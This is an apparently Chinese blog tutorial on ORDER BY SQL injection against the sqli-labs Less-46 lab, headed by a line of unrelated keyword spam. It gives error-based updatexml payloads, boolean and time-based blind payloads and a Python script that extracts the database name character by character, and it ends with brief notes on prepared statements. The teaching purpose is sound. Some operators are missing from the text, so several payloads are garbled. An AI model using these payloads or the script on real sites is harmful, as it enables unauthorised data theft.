做软件推广网站怎么赚钱,晋江规划建设局网站,电商网站设计周志,wordpress关键词在哪里设置一、环境
网上有自己找
二、解释
order by 注入我们看他的true和false来进行注入出来
二、实操
让我们用sort 看看源码
最终我们的id是放到order by后面了 如果我们直接用列去排序
?sortusername/password username#xff1a;
password#xff1a; 可以看到顺序是不…一、环境
网上有自己找
二、解释
order by 注入我们看他的true和false来进行注入出来
二、实操
让我们用sort 看看源码
最终我们的id是放到order by后面了 如果我们直接用列去排序
?sortusername/password username
password 可以看到顺序是不同的当然第一列第二列第三列也可以基本上都是这个原理那怎么去实现注入呢我们主要是通过rand()去实现一个盲注或者报错注入如果打印报错
报错注入真的走第一个错的走第二个我们想走第二个这样就可以实现
?sortupdatexml(1,if(12,1,concat(0x7e,database(),0x7e)),1) 那如果是盲注的话写true和false排序是不同的所有我们可不可以用rand去进行排序
?sortrand(ascii(mid((select%20database()),1,1))114) 很明显ok的转为ascii码来比较真假为真为假是两种表现方式如下假如说上面的报错被屏蔽了我们就没办法了那我们通过rand也可以那为真为假是我们爬取的一个重要标识 我们通过找第一个字段来爬取判断为真的话是admin3因为布尔true3 python脚本
# -*- coding:utf-8 -*-Author: lingchenwudiandexing
contact: 3131579667qq.com
Time: 2024/2/25 16:31
version: 1.0import requests
import time
from bs4 import BeautifulSoup
查表名
查列名
查具体字段内容
if(ascii(substr(database(),1,1))100,%20sleep(3),%200)--
if(ascii(substr(database(),1,1))110, sleep(3), 0)def inject_database(url):name for i in range(1, 100):low 32high 128mid (low high) // 2while low high:payload rand(ascii(mid((select database()),%d,1)) %d) % (i, mid)res {sort: payload}r requests.post(url, paramsres)html r.textsoup BeautifulSoup(html,html.parser)getUsername soup.find_all(td)[1].textif getUsername admin3:low mid 1else:high midmid (low high) // 2if mid 32:breakname chr(mid)print(name)if __name__ __main__:url http://127.0.0.1/sqli/Less-46/index.phpinject_database(url)
正确后我们通过查表查库查字段出结果 三、如何防御
防御机制
PDO预编译
模拟编译
PHP的底层把单引号自动转译但是遇见宽字节会失效但是遇见真实的预编译这里就不会失效
真实编译
如果在预编译的形势下还是用拼接传递参数那么预编译不会生效order by后面本身会存在注入点但是预编译情况下没有办法在order by后面实现预编译如果想功能正常还是得用拼接的方法去使用这种情况下也有可能实现sql注入